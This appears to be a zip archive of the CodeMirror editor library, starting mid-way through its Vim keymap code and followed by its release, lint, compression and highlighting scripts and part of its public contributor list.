          // either the argString is empty or its of the form ' hello/world'
          // actually splitBySlash returns a list of tokens
          // only if the string starts with a '/'
          if (argString && argString.length) {
            showConfirm(cm, 'Substitutions should be of the form ' +
                ':s/pattern/replace/');
            return;
          }
        }
        // After the 3rd slash, we can have flags followed by a space followed
        // by count.
        if (trailing) {
          flagsPart = trailing[0];
          count = parseInt(trailing[1]);
          if (flagsPart) {
            if (flagsPart.indexOf('c') != -1) {
              confirm = true;
              flagsPart.replace('c', '');
            }
            if (flagsPart.indexOf('g') != -1) {
              global = true;
              flagsPart.replace('g', '');
            }
            regexPart = regexPart + '/' + flagsPart;
          }
        }
        if (regexPart) {
          // If regex part is empty, then use the previous query. Otherwise use
          // the regex part as the new query.
          try {
            updateSearchQuery(cm, regexPart, true /** ignoreCase */,
              true /** smartCase */);
          } catch (e) {
            showConfirm(cm, 'Invalid regex: ' + regexPart);
            return;
          }
        }
        replacePart = replacePart || vimGlobalState.lastSubstituteReplacePart;
        if (replacePart === undefined) {
          showConfirm(cm, 'No previous substitute regular expression');
          return;
        }
        var state = getSearchState(cm);
        var query = state.getQuery();
        var lineStart = (params.line !== undefined) ? params.line : cm.getCursor().line;
        var lineEnd = params.lineEnd || lineStart;
        if (lineStart == cm.firstLine() && lineEnd == cm.lastLine()) {
          lineEnd = Infinity;
        }
        if (count) {
          lineStart = lineEnd;
          lineEnd = lineStart + count - 1;
        }
        var startPos = clipCursorToContent(cm, Pos(lineStart, 0));
        var cursor = cm.getSearchCursor(query, startPos);
        doReplace(cm, confirm, global, lineStart, lineEnd, cursor, query, replacePart, params.callback);
      },
      redo: CodeMirror.commands.redo,
      undo: CodeMirror.commands.undo,
      write: function(cm) {
        if (CodeMirror.commands.save) {
          // If a save command is defined, call it.
          CodeMirror.commands.save(cm);
        } else {
          // Saves to text area if no save command is defined.
          cm.save();
        }
      },
      nohlsearch: function(cm) {
        clearSearchHighlight(cm);
      },
      delmarks: function(cm, params) {
        if (!params.argString || !trim(params.argString)) {
          showConfirm(cm, 'Argument required');
          return;
        }

        var state = cm.state.vim;
        var stream = new CodeMirror.StringStream(trim(params.argString));
        while (!stream.eol()) {
          stream.eatSpace();

          // Record the streams position at the beginning of the loop for use
          // in error messages.
          var count = stream.pos;

          if (!stream.match(/[a-zA-Z]/, false)) {
            showConfirm(cm, 'Invalid argument: ' + params.argString.substring(count));
            return;
          }

          var sym = stream.next();
          // Check if this symbol is part of a range
          if (stream.match('-', true)) {
            // This symbol is part of a range.

            // The range must terminate at an alphabetic character.
            if (!stream.match(/[a-zA-Z]/, false)) {
              showConfirm(cm, 'Invalid argument: ' + params.argString.substring(count));
              return;
            }

            var startMark = sym;
            var finishMark = stream.next();
            // The range must terminate at an alphabetic character which
            // shares the same case as the start of the range.
            if (isLowerCase(startMark) && isLowerCase(finishMark) ||
                isUpperCase(startMark) && isUpperCase(finishMark)) {
              var start = startMark.charCodeAt(0);
              var finish = finishMark.charCodeAt(0);
              if (start >= finish) {
                showConfirm(cm, 'Invalid argument: ' + params.argString.substring(count));
                return;
              }

              // Because marks are always ASCII values, and we have
              // determined that they are the same case, we can use
              // their char codes to iterate through the defined range.
              for (var j = 0; j <= finish - start; j++) {
                var mark = String.fromCharCode(start + j);
                delete state.marks[mark];
              }
            } else {
              showConfirm(cm, 'Invalid argument: ' + startMark + '-');
              return;
            }
          } else {
            // This symbol is a valid mark, and is not part of a range.
            delete state.marks[sym];
          }
        }
      }
    };

    var exCommandDispatcher = new ExCommandDispatcher();

    /**
    * @param {CodeMirror} cm CodeMirror instance we are in.
    * @param {boolean} confirm Whether to confirm each replace.
    * @param {Cursor} lineStart Line to start replacing from.
    * @param {Cursor} lineEnd Line to stop replacing at.
    * @param {RegExp} query Query for performing matches with.
    * @param {string} replaceWith Text to replace matches with. May contain $1,
    *     $2, etc for replacing captured groups using Javascript replace.
    * @param {function()} callback A callback for when the replace is done.
    */
    function doReplace(cm, confirm, global, lineStart, lineEnd, searchCursor, query,
        replaceWith, callback) {
      // Set up all the functions.
      cm.state.vim.exMode = true;
      var done = false;
      var lastPos = searchCursor.from();
      function replaceAll() {
        cm.operation(function() {
          while (!done) {
            replace();
            next();
          }
          stop();
        });
      }
      function replace() {
        var text = cm.getRange(searchCursor.from(), searchCursor.to());
        var newText = text.replace(query, replaceWith);
        searchCursor.replace(newText);
      }
      function next() {
        // The below only loops to skip over multiple occurrences on the same
        // line when 'global' is not true.
        while(searchCursor.findNext() &&
              isInRange(searchCursor.from(), lineStart, lineEnd)) {
          if (!global && lastPos && searchCursor.from().line == lastPos.line) {
            continue;
          }
          cm.scrollIntoView(searchCursor.from(), 30);
          cm.setSelection(searchCursor.from(), searchCursor.to());
          lastPos = searchCursor.from();
          done = false;
          return;
        }
        done = true;
      }
      function stop(close) {
        if (close) { close(); }
        cm.focus();
        if (lastPos) {
          cm.setCursor(lastPos);
          var vim = cm.state.vim;
          vim.exMode = false;
          vim.lastHPos = vim.lastHSPos = lastPos.ch;
        }
        if (callback) { callback(); }
      }
      function onPromptKeyDown(e, _value, close) {
        // Swallow all keys.
        CodeMirror.e_stop(e);
        var keyName = CodeMirror.keyName(e);
        switch (keyName) {
          case 'Y':
            replace(); next(); break;
          case 'N':
            next(); break;
          case 'A':
            // replaceAll contains a call to close of its own. We don't want it
            // to fire too early or multiple times.
            var savedCallback = callback;
            callback = undefined;
            cm.operation(replaceAll);
            callback = savedCallback;
            break;
          case 'L':
            replace();
            // fall through and exit.
          case 'Q':
          case 'Esc':
          case 'Ctrl-C':
          case 'Ctrl-[':
            stop(close);
            break;
        }
        if (done) { stop(close); }
        return true;
      }

      // Actually do replace.
      next();
      if (done) {
        showConfirm(cm, 'No matches for ' + query.source);
        return;
      }
      if (!confirm) {
        replaceAll();
        if (callback) { callback(); };
        return;
      }
      showPrompt(cm, {
        prefix: 'replace with <strong>' + replaceWith + '</strong> (y/n/a/q/l)',
        onKeyDown: onPromptKeyDown
      });
    }

    CodeMirror.keyMap.vim = {
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    function exitInsertMode(cm) {
      var vim = cm.state.vim;
      var macroModeState = vimGlobalState.macroModeState;
      var insertModeChangeRegister = vimGlobalState.registerController.getRegister('.');
      var isPlaying = macroModeState.isPlaying;
      var lastChange = macroModeState.lastInsertModeChanges;
      // In case of visual block, the insertModeChanges are not saved as a
      // single word, so we convert them to a single word
      // so as to update the ". register as expected in real vim.
      var text = [];
      if (!isPlaying) {
        var selLength = lastChange.inVisualBlock ? vim.lastSelection.visualBlock.height : 1;
        var changes = lastChange.changes;
        var text = [];
        var i = 0;
        // In case of multiple selections in blockwise visual,
        // the inserted text, for example: 'f<Backspace>oo', is stored as
        // 'f', 'f', InsertModeKey 'o', 'o', 'o', 'o'. (if you have a block with 2 lines).
        // We push the contents of the changes array as per the following:
        // 1. In case of InsertModeKey, just increment by 1.
        // 2. In case of a character, jump by selLength (2 in the example).
        while (i < changes.length) {
          // This loop will convert 'ff<bs>oooo' to 'f<bs>oo'.
          text.push(changes[i]);
          if (changes[i] instanceof InsertModeKey) {
             i++;
          } else {
             i+= selLength;
          }
        }
        lastChange.changes = text;
        cm.off('change', onChange);
        CodeMirror.off(cm.getInputField(), 'keydown', onKeyEventTargetKeyDown);
      }
      if (!isPlaying && vim.insertModeRepeat > 1) {
        // Perform insert mode repeat for commands like 3,a and 3,o.
        repeatLastEdit(cm, vim, vim.insertModeRepeat - 1,
            true /** repeatForInsert */);
        vim.lastEditInputState.repeatOverride = vim.insertModeRepeat;
      }
      delete vim.insertModeRepeat;
      vim.insertMode = false;
      cm.setCursor(cm.getCursor().line, cm.getCursor().ch-1);
      cm.setOption('keyMap', 'vim');
      cm.setOption('disableInput', true);
      cm.toggleOverwrite(false); // exit replace mode if we were in it.
      // update the ". register before exiting insert mode
      insertModeChangeRegister.setText(lastChange.changes.join(''));
      CodeMirror.signal(cm, "vim-mode-change", {mode: "normal"});
      if (macroModeState.isRecording) {
        logInsertModeChange(macroModeState);
      }
    }

    function _mapCommand(command) {
      defaultKeymap.unshift(command);
    }

    function mapCommand(keys, type, name, args, extra) {
      var command = {keys: keys, type: type};
      command[type] = name;
      command[type + "Args"] = args;
      for (var key in extra)
        command[key] = extra[key];
      _mapCommand(command);
    }

    // The timeout in milliseconds for the two-character ESC keymap should be
    // adjusted according to your typing speed to prevent false positives.
    defineOption('insertModeEscKeysTimeout', 200, 'number');

    CodeMirror.keyMap['vim-insert'] = {
      // TODO: override navigation keys so that Esc will cancel automatic
      // indentation from o, O, i_<CR>
      'Ctrl-N': 'autocomplete',
      'Ctrl-P': 'autocomplete',
      'Enter': function(cm) {
        var fn = CodeMirror.commands.newlineAndIndentContinueComment ||
            CodeMirror.commands.newlineAndIndent;
        fn(cm);
      },
      fallthrough: ['default'],
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    CodeMirror.keyMap['vim-replace'] = {
      'Backspace': 'goCharLeft',
      fallthrough: ['vim-insert'],
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    function executeMacroRegister(cm, vim, macroModeState, registerName) {
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (registerName == ':') {
        // Read-only register containing last Ex command.
        if (register.keyBuffer[0]) {
          exCommandDispatcher.processCommand(cm, register.keyBuffer[0]);
        }
        macroModeState.isPlaying = false;
        return;
      }
      var keyBuffer = register.keyBuffer;
      var imc = 0;
      macroModeState.isPlaying = true;
      macroModeState.replaySearchQueries = register.searchQueries.slice(0);
      for (var i = 0; i < keyBuffer.length; i++) {
        var text = keyBuffer[i];
        var match, key;
        while (text) {
          // Pull off one command key, which is either a single character
          // or a special sequence wrapped in '<' and '>', e.g. '<Space>'.
          match = (/<\w+-.+?>|<\w+>|./).exec(text);
          key = match[0];
          text = text.substring(match.index + key.length);
          CodeMirror.Vim.handleKey(cm, key, 'macro');
          if (vim.insertMode) {
            var changes = register.insertModeChanges[imc++].changes;
            vimGlobalState.macroModeState.lastInsertModeChanges.changes =
                changes;
            repeatInsertModeChanges(cm, changes, 1);
            exitInsertMode(cm);
          }
        }
      };
      macroModeState.isPlaying = false;
    }

    function logKey(macroModeState, key) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (register) {
        register.pushText(key);
      }
    }

    function logInsertModeChange(macroModeState) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (register && register.pushInsertModeChanges) {
        register.pushInsertModeChanges(macroModeState.lastInsertModeChanges);
      }
    }

    function logSearchQuery(macroModeState, query) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register = vimGlobalState.registerController.getRegister(registerName);
      if (register && register.pushSearchQuery) {
        register.pushSearchQuery(query);
      }
    }

    /**
     * Listens for changes made in insert mode.
     * Should only be active in insert mode.
     */
    function onChange(_cm, changeObj) {
      var macroModeState = vimGlobalState.macroModeState;
      var lastChange = macroModeState.lastInsertModeChanges;
      if (!macroModeState.isPlaying) {
        while(changeObj) {
          lastChange.expectCursorActivityForChange = true;
          if (changeObj.origin == '+input' || changeObj.origin == 'paste'
              || changeObj.origin === undefined /* only in testing */) {
            var text = changeObj.text.join('\n');
            lastChange.changes.push(text);
          }
          // Change objects may be chained with next.
          changeObj = changeObj.next;
        }
      }
    }

    /**
    * Listens for any kind of cursor activity on CodeMirror.
    */
    function onCursorActivity(cm) {
      var vim = cm.state.vim;
      if (vim.insertMode) {
        // Tracking cursor activity in insert mode (for macro support).
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.isPlaying) { return; }
        var lastChange = macroModeState.lastInsertModeChanges;
        if (lastChange.expectCursorActivityForChange) {
          lastChange.expectCursorActivityForChange = false;
        } else {
          // Cursor moved outside the context of an edit. Reset the change.
          lastChange.changes = [];
        }
      } else if (!cm.curOp.isVimOp) {
        handleExternalSelection(cm, vim);
      }
      if (vim.visualMode) {
        updateFakeCursor(cm);
      }
    }
    function updateFakeCursor(cm) {
      var vim = cm.state.vim;
      var from = clipCursorToContent(cm, copyCursor(vim.sel.head));
      var to = offsetCursor(from, 0, 1);
      if (vim.fakeCursor) {
        vim.fakeCursor.clear();
      }
      vim.fakeCursor = cm.markText(from, to, {className: 'cm-animate-fat-cursor'});
    }
    function handleExternalSelection(cm, vim) {
      var anchor = cm.getCursor('anchor');
      var head = cm.getCursor('head');
      // Enter or exit visual mode to match mouse selection.
      if (vim.visualMode && !cm.somethingSelected()) {
        exitVisualMode(cm, false);
      } else if (!vim.visualMode && !vim.insertMode && cm.somethingSelected()) {
        vim.visualMode = true;
        vim.visualLine = false;
        CodeMirror.signal(cm, "vim-mode-change", {mode: "visual"});
      }
      if (vim.visualMode) {
        // Bind CodeMirror selection model to vim selection model.
        // Mouse selections are considered visual characterwise.
        var headOffset = !cursorIsBefore(head, anchor) ? -1 : 0;
        var anchorOffset = cursorIsBefore(head, anchor) ? -1 : 0;
        head = offsetCursor(head, 0, headOffset);
        anchor = offsetCursor(anchor, 0, anchorOffset);
        vim.sel = {
          anchor: anchor,
          head: head
        };
        updateMark(cm, vim, '<', cursorMin(head, anchor));
        updateMark(cm, vim, '>', cursorMax(head, anchor));
      } else if (!vim.insertMode) {
        // Reset lastHPos if selection was modified by something outside of vim mode e.g. by mouse.
        vim.lastHPos = cm.getCursor().ch;
      }
    }

    /** Wrapper for special keys pressed in insert mode */
    function InsertModeKey(keyName) {
      this.keyName = keyName;
    }

    /**
    * Handles raw key down events from the text area.
    * - Should only be active in insert mode.
    * - For recording deletes in insert mode.
    */
    function onKeyEventTargetKeyDown(e) {
      var macroModeState = vimGlobalState.macroModeState;
      var lastChange = macroModeState.lastInsertModeChanges;
      var keyName = CodeMirror.keyName(e);
      if (!keyName) { return; }
      function onKeyFound() {
        lastChange.changes.push(new InsertModeKey(keyName));
        return true;
      }
      if (keyName.indexOf('Delete') != -1 || keyName.indexOf('Backspace') != -1) {
        CodeMirror.lookupKey(keyName, 'vim-insert', onKeyFound);
      }
    }

    /**
     * Repeats the last edit, which includes exactly 1 command and at most 1
     * insert. Operator and motion commands are read from lastEditInputState,
     * while action commands are read from lastEditActionCommand.
     *
     * If repeatForInsert is true, then the function was called by
     * exitInsertMode to repeat the insert mode changes the user just made. The
     * corresponding enterInsertMode call was made with a count.
     */
    function repeatLastEdit(cm, vim, repeat, repeatForInsert) {
      var macroModeState = vimGlobalState.macroModeState;
      macroModeState.isPlaying = true;
      var isAction = !!vim.lastEditActionCommand;
      var cachedInputState = vim.inputState;
      function repeatCommand() {
        if (isAction) {
          commandDispatcher.processAction(cm, vim, vim.lastEditActionCommand);
        } else {
          commandDispatcher.evalInput(cm, vim);
        }
      }
      function repeatInsert(repeat) {
        if (macroModeState.lastInsertModeChanges.changes.length > 0) {
          // For some reason, repeat cw in desktop VIM does not repeat
          // insert mode changes. Will conform to that behavior.
          repeat = !vim.lastEditActionCommand ? 1 : repeat;
          var changeObject = macroModeState.lastInsertModeChanges;
          repeatInsertModeChanges(cm, changeObject.changes, repeat);
        }
      }
      vim.inputState = vim.lastEditInputState;
      if (isAction && vim.lastEditActionCommand.interlaceInsertRepeat) {
        // o and O repeat have to be interlaced with insert repeats so that the
        // insertions appear on separate lines instead of the last line.
        for (var i = 0; i < repeat; i++) {
          repeatCommand();
          repeatInsert(1);
        }
      } else {
        if (!repeatForInsert) {
          // Hack to get the cursor to end up at the right place. If I is
          // repeated in insert mode repeat, cursor will be 1 insert
          // change set left of where it should be.
          repeatCommand();
        }
        repeatInsert(repeat);
      }
      vim.inputState = cachedInputState;
      if (vim.insertMode && !repeatForInsert) {
        // Don't exit insert mode twice. If repeatForInsert is set, then we
        // were called by an exitInsertMode call lower on the stack.
        exitInsertMode(cm);
      }
      macroModeState.isPlaying = false;
    };

    function repeatInsertModeChanges(cm, changes, repeat) {
      function keyHandler(binding) {
        if (typeof binding == 'string') {
          CodeMirror.commands[binding](cm);
        } else {
          binding(cm);
        }
        return true;
      }
      var head = cm.getCursor('head');
      var inVisualBlock = vimGlobalState.macroModeState.lastInsertModeChanges.inVisualBlock;
      if (inVisualBlock) {
        // Set up block selection again for repeating the changes.
        var vim = cm.state.vim;
        var lastSel = vim.lastSelection;
        var offset = getOffset(lastSel.anchor, lastSel.head);
        selectForInsert(cm, head, offset.line + 1);
        repeat = cm.listSelections().length;
        cm.setCursor(head);
      }
      for (var i = 0; i < repeat; i++) {
        if (inVisualBlock) {
          cm.setCursor(offsetCursor(head, i, 0));
        }
        for (var j = 0; j < changes.length; j++) {
          var change = changes[j];
          if (change instanceof InsertModeKey) {
            CodeMirror.lookupKey(change.keyName, 'vim-insert', keyHandler);
          } else {
            var cur = cm.getCursor();
            cm.replaceRange(change, cur, cur);
          }
        }
      }
      if (inVisualBlock) {
        cm.setCursor(offsetCursor(head, 0, 1));
      }
    }

    resetVimGlobalState();
    return vimApi;
  };
  // Initialize Vim and make it available as an API.
  CodeMirror.Vim = Vim();
});
PK     0w\MG   G   9  customizer/framework/assets/js/vendor/codemirror/bin/lintnu [        #!/usr/bin/env node

process.exit(require("../test/lint").ok ? 0 : 1);
PK     0w\{b  b  <  customizer/framework/assets/js/vendor/codemirror/bin/releasenu [        #!/usr/bin/env node

var fs = require("fs"), child = require("child_process");

var number, bumpOnly;

for (var i = 2; i < process.argv.length; i++) {
  if (process.argv[i] == "-bump") bumpOnly = true;
  else if (/^\d+\.\d+\.\d+$/.test(process.argv[i])) number = process.argv[i];
  else { console.log("Bogus command line arg: " + process.argv[i]); process.exit(1); }
}

if (!number) { console.log("Must give a version"); process.exit(1); }

function rewrite(file, f) {
  fs.writeFileSync(file, f(fs.readFileSync(file, "utf8")), "utf8");
}

rewrite("lib/codemirror.js", function(lib) {
  return lib.replace(/CodeMirror\.version = "\d+\.\d+\.\d+"/,
                     "CodeMirror.version = \"" + number + "\"");
});
function rewriteJSON(pack) {
  return pack.replace(/"version":"\d+\.\d+\.\d+"/, "\"version\":\"" + number + "\"");
}
rewrite("package.json", rewriteJSON);
rewrite("doc/manual.html", function(manual) {
  return manual.replace(/>version \d+\.\d+\.\d+<\/span>/, ">version " + number + "</span>");
});

if (bumpOnly) process.exit(0);

child.exec("bash bin/authors.sh", function(){});

var simple = number.slice(0, number.lastIndexOf("."));

rewrite("doc/compress.html", function(cmp) {
  return cmp.replace(/<option value="http:\/\/codemirror.net\/">HEAD<\/option>/,
                     "<option value=\"http://codemirror.net/\">HEAD</option>\n        <option value=\"http://marijnhaverbeke.nl/git/codemirror?a=blob_plain;hb=" + number + ";f=\">" + simple + "</option>");
});

rewrite("index.html", function(index) {
  return index.replace(/\.zip">\d+\.\d+<\/a>/,
                       ".zip\">" + simple + "</a>");
});
PK     0w\l#  #  ?  customizer/framework/assets/js/vendor/codemirror/bin/authors.shnu [        # Combine existing list of authors with everyone known in git, sort, add header.
tail --lines=+3 AUTHORS > AUTHORS.tmp
git log --format='%aN' >> AUTHORS.tmp
echo -e "List of CodeMirror contributors. Updated before every release.\n" > AUTHORS
sort -u AUTHORS.tmp >> AUTHORS
rm -f AUTHORS.tmp
PK     0w\
  
  =  customizer/framework/assets/js/vendor/codemirror/bin/compressnu [        #!/usr/bin/env node

// Compression helper for CodeMirror
//
// Example:
//
//   bin/compress codemirror runmode javascript xml
//
// Will take lib/codemirror.js, addon/runmode/runmode.js,
// mode/javascript/javascript.js, and mode/xml/xml.js, run them though
// the online minifier at http://marijnhaverbeke.nl/uglifyjs, and spit
// out the result.
//
//   bin/compress codemirror --local /path/to/bin/UglifyJS
//
// Will use a local minifier instead of the online default one.
//
// Script files are specified without .js ending. Prefixing them with
// their full (local) path is optional. So you may say lib/codemirror
// or mode/xml/xml to be more precise. In fact, even the .js suffix
// may be speficied, if wanted.

"use strict";

var fs = require("fs");

function help(ok) {
  console.log("usage: " + process.argv[1] + " [--local /path/to/uglifyjs] files...");
  process.exit(ok ? 0 : 1);
}

var local = null, args = [], extraArgs = null, files = [], blob = "";

for (var i = 2; i < process.argv.length; ++i) {
  var arg = process.argv[i];
  if (arg == "--local" && i + 1 < process.argv.length) {
    var parts = process.argv[++i].split(/\s+/);
    local = parts[0];
    extraArgs = parts.slice(1);
    if (!extraArgs.length) extraArgs = ["-c", "-m"];
  } else if (arg == "--help") {
    help(true);
  } else if (arg[0] != "-") {
    files.push({name: arg, re: new RegExp("(?:\\/|^)" + arg + (/\.js$/.test(arg) ? "$" : "\\.js$"))});
  } else help(false);
}

function walk(dir) {
  fs.readdirSync(dir).forEach(function(fname) {
    if (/^[_\.]/.test(fname)) return;
    var file = dir + fname;
    if (fs.statSync(file).isDirectory()) return walk(file + "/");
    if (files.some(function(spec, i) {
      var match = spec.re.test(file);
      if (match) files.splice(i, 1);
      return match;
    })) {
      if (local) args.push(file);
      else blob += fs.readFileSync(file, "utf8");
    }
  });
}

walk("lib/");
walk("addon/");
walk("mode/");

if (!local && !blob) help(false);

if (files.length) {
  console.log("Some speficied files were not found: " +
              files.map(function(a){return a.name;}).join(", "));
  process.exit(1);
}
  
if (local) {
  require("child_process").spawn(local, args.concat(extraArgs), {stdio: ["ignore", process.stdout, process.stderr]});
} else {
  var data = new Buffer("js_code=" + require("querystring").escape(blob), "utf8");
  var req = require("http").request({
    host: "marijnhaverbeke.nl",
    port: 80,
    method: "POST",
    path: "/uglifyjs",
    headers: {"content-type": "application/x-www-form-urlencoded",
              "content-length": data.length}
  });
  req.on("response", function(resp) {
    resp.on("data", function (chunk) { process.stdout.write(chunk); });
  });
  req.end(data);
}
PK     0w\2    E  customizer/framework/assets/js/vendor/codemirror/bin/source-highlightnu [        #!/usr/bin/env node

// Simple command-line code highlighting tool. Reads code from stdin,
// spits html to stdout. For example:
//
//   echo 'function foo(a) { return a; }' | bin/source-highlight -s javascript
//   bin/source-highlight -s 

var fs = require("fs");

var CodeMirror = require("../addon/runmode/runmode.node.js");
require("../mode/meta.js");

var sPos = process.argv.indexOf("-s");
if (sPos == -1 || sPos == process.argv.length - 1) {
   console.error("Usage: source-highlight -s language");
   process.exit(1);
}
var lang = process.argv[sPos + 1].toLowerCase(), modeName = lang;
CodeMirror.modeInfo.forEach(function(info) {
  if (info.mime == lang) {
    modeName = info.mode;
  } else if (info.name.toLowerCase() == lang) {
    modeName = info.mode;
    lang = info.mime;
  }
});

if (!CodeMirror.modes[modeName])
  require("../mode/" + modeName + "/" + modeName + ".js");

function esc(str) {
  return str.replace(/[<&]/g, function(ch) { return ch == "&" ? "&amp;" : "&lt;"; });
}

var code = fs.readFileSync("/dev/stdin", "utf8");
var curStyle = null, accum = "";
function flush() {
  if (curStyle) process.stdout.write("<span class=\"" + curStyle.replace(/(^|\s+)/g, "$1cm-") + "\">" + esc(accum) + "</span>");
  else process.stdout.write(esc(accum));
}

CodeMirror.runMode(code, lang, function(text, style) {
  if (style != curStyle) {
    flush();
    curStyle = style; accum = text;
  } else {
    accum += text;
  }
});
flush();
PK     0w\j    8  customizer/framework/assets/js/vendor/codemirror/AUTHORSnu [        List of CodeMirror contributors. Updated before every release.

4r2r
Aaron Brooks
Abdelouahab
Abe Fettig
Adam Ahmed
Adam King
adanlobato
Adán Lobato
Adrian Aichner
aeroson
Ahmad Amireh
Ahmad M. Zawawi
ahoward
Akeksandr Motsjonov
Alberto González Palomo
Alberto Pose
Albert Xing
Alexander Pavlov
Alexander Schepanovski
Alexander Shvets
Alexander Solovyov
Alexandre Bique
alexey-k
Alex Piggott
Aliaksei Chapyzhenka
Allen Sarkisyan
Amin Shali
amshali@google.com
Amsul
amuntean
Amy
Ananya Sen
anaran
AndersMad
Anders Nawroth
Anderson Mesquita
Anders Wåglund
Andrea G
Andreas Reischuck
Andres Taylor
Andre von Houck
Andrey Fedorov
Andrey Klyuchnikov
Andrey Lushnikov
Andy Joslin
Andy Kimball
Andy Li
Angelo
angelozerr
angelo.zerr@gmail.com
Ankit
Ankit Ahuja
Ansel Santosa
Anthony Dugois
anthonygego
Anthony Gégo
Anthony Grimes
Anton Kovalyov
AQNOUCH Mohammed
areos
as3boyan
AtomicPages LLC
Atul Bhouraskar
Aurelian Oancea
Barret Rennie
Basarat Ali Syed
Bastian Müller
belhaj
Bem Jones-Bey
benbro
Beni Cherniavsky-Paskin
Benjamin DeCoste
Ben Keen
Bernhard Sirlinger
Bert Chang
Billy Moon
binny
B Krishna Chaitanya
Blaine G
blukat29
boomyjee
borawjm
Brad Metcalf
Brandon Frohs
Brandon Wamboldt
Brett Zamir
Brian Grinstead
Brian Sletten
Bruce Mitchener
Caitlin Potter
Calin Barbat
Chandra Sekhar Pydi
Charles Skelton
Cheah Chu Yeow
Chris Coyier
Chris Granger
Chris Houseknecht
Chris Lohfink
Chris Morgan
Christian Oyarzun
Christian Petrov
Christopher Brown
Christopher Mitchell
Christopher Pfohl
ciaranj
CodeAnimal
coderaiser
ComFreek
Curtis Gagliardi
dagsta
daines
Dale Jung
Dan Bentley
Dan Heberden
Daniel, Dao Quang Minh
Daniele Di Sarli
Daniel Faust
Daniel Huigens
Daniel KJ
Daniel Neel
Daniel Parnell
Danny Yoo
darealshinji
Darius Roberts
Dave Brondsema
Dave Myers
David Barnett
David Mignot
David Pathakjee
David Vázquez
deebugger
Deep Thought
Devon Carew
dignifiedquire
Dimage Sapelkin
Dmitry Kiselyov
domagoj412
Dominator008
Domizio Demichelis
Doug Wikle
Drew Bratcher
Drew Hintz
Drew Khoury
Dror BG
duralog
eborden
edsharp
ekhaled
Elisée
Enam Mijbah Noor
Eric Allam
eustas
Fabien O'Carroll
Fabio Zendhi Nagao
Faiza Alsaied
Fauntleroy
fbuchinger
feizhang365
Felipe Lalanne
Felix Raab
Filip Noetzel
flack
ForbesLindesay
Forbes Lindesay
Ford_Lawnmower
Forrest Oliphant
Frank Wiegand
Gabriel Gheorghian
Gabriel Horner
Gabriel Nahmias
galambalazs
Gautam Mehta
gekkoe
Gerard Braad
Gergely Hegykozi
Giovanni Calò
Glenn Jorde
Glenn Ruehle
Golevka
Gordon Smith
Grant Skinner
greengiant
Gregory Koberger
Guillaume Massé
Guillaume Massé
Gustavo Rodrigues
Hakan Tunc
Hans Engel
Hardest
Hasan Karahan
Hector Oswaldo Caballero
Herculano Campos
Hiroyuki Makino
hitsthings
Hocdoc
Ian Beck
Ian Dickinson
Ian Wehrman
Ian Wetherbee
Ice White
ICHIKAWA, Yuji
idleberg
ilvalle
Ingo Richter
Irakli Gozalishvili
Ivan Kurnosov
Ivoah
Jacob Lee
Jakob Miland
Jakub Vrana
Jakub Vrána
James Campos
James Thorne
Jamie Hill
Jan Jongboom
jankeromnes
Jan Keromnes
Jan Odvarko
Jan T. Sott
Jared Forsyth
Jason
Jason Barnabe
Jason Grout
Jason Johnston
Jason San Jose
Jason Siefken
Jaydeep Solanki
Jean Boussier
Jeff Blaisdell
jeffkenton
Jeff Pickhardt
jem (graphite)
Jeremy Parmenter
Jochen Berger
Johan Ask
John Connor
John Engler
John Lees-Miller
John Snelson
John Van Der Loo
Jonas Döbertin
Jonathan Malmaud
jongalloway
Jon Malmaud
Jon Sangster
Joost-Wim Boekesteijn
Joseph Pecoraro
Joshua Newman
Josh Watzman
jots
jsoojeon
ju1ius
Juan Benavides Romero
Jucovschi Constantin
Juho Vuori
Justin Hileman
jwallers@gmail.com
kaniga
karevn
Ken Newman
Ken Rockot
Kevin Earls
Kevin Sawicki
Kevin Ushey
Klaus Silveira
Koh Zi Han, Cliff
komakino
Konstantin Lopuhin
koops
ks-ifware
kubelsmieci
KwanEsq
Lanfei
Lanny
Laszlo Vidacs
leaf corcoran
Leonid Khachaturov
Leon Sorokin
Leonya Khachaturov
Liam Newman
Libo Cannici
LloydMilligan
LM
lochel
Lorenzo Stoakes
Luciano Longo
Luke Stagner
lynschinzer
M1cha
Madhura Jayaratne
Maksim Lin
Maksym Taran
Malay Majithia
Manuel Rego Casasnovas
Marat Dreizin
Marcel Gerber
Marco Aurélio
Marco Munizaga
Marcus Bointon
Marek Rudnicki
Marijn Haverbeke
Mário Gonçalves
Mario Pietsch
Mark Anderson
Mark Lentczner
Marko Bonaci
Markus Bordihn
Martin Balek
Martín Gaitán
Martin Hasoň
Martin Hunt
Martin Laine
Martin Zagora
Mason Malone
Mateusz Paprocki
Mathias Bynens
mats cronqvist
Matt Gaide
Matthew Bauer
Matthew Beale
Matthew Rathbone
Matthias Bussonnier
Matthias BUSSONNIER
Matt McDonald
Matt Pass
Matt Sacks
mauricio
Maximilian Hils
Maxim Kraev
Max Kirsch
Max Schaefer
Max Xiantu
mbarkhau
melpon
Metatheos
Micah Dubinko
Michael
Michael Goderbauer
Michael Grey
Michael Kaminsky
Michael Lehenbauer
Michael Zhou
Michal Dorner
Mighty Guava
Miguel Castillo
mihailik
Mike
Mike Brevoort
Mike Diaz
Mike Ivanov
Mike Kadin
MinRK
Miraculix87
misfo
mkaminsky11
mloginov
Moritz Schwörer
mps
ms
mtaran-google
Narciso Jaramillo
Nathan Williams
ndr
nerbert
nextrevision
ngn
nguillaumin
Ng Zhi An
Nicholas Bollweg
Nicholas Bollweg (Nick)
Nick Kreeger
Nick Small
Niels van Groningen
nightwing
Nikita Beloglazov
Nikita Vasilyev
Nikolay Kostov
nilp0inter
Nisarg Jhaveri
nlwillia
noragrossman
Norman Rzepka
Oreoluwa Onatemowo
pablo
Page
Panupong Pasupat
paris
Paris
Patil Arpith
Patrick Stoica
Patrick Strawderman
Paul Garvin
Paul Ivanov
Pavel Feldman
Pavel Strashkin
Paweł Bartkiewicz
peteguhl
peter
Peter Flynn
peterkroon
Peter Kroon
Philip Stadermann
prasanthj
Prasanth J
Radek Piórkowski
Rahul
ramwin1
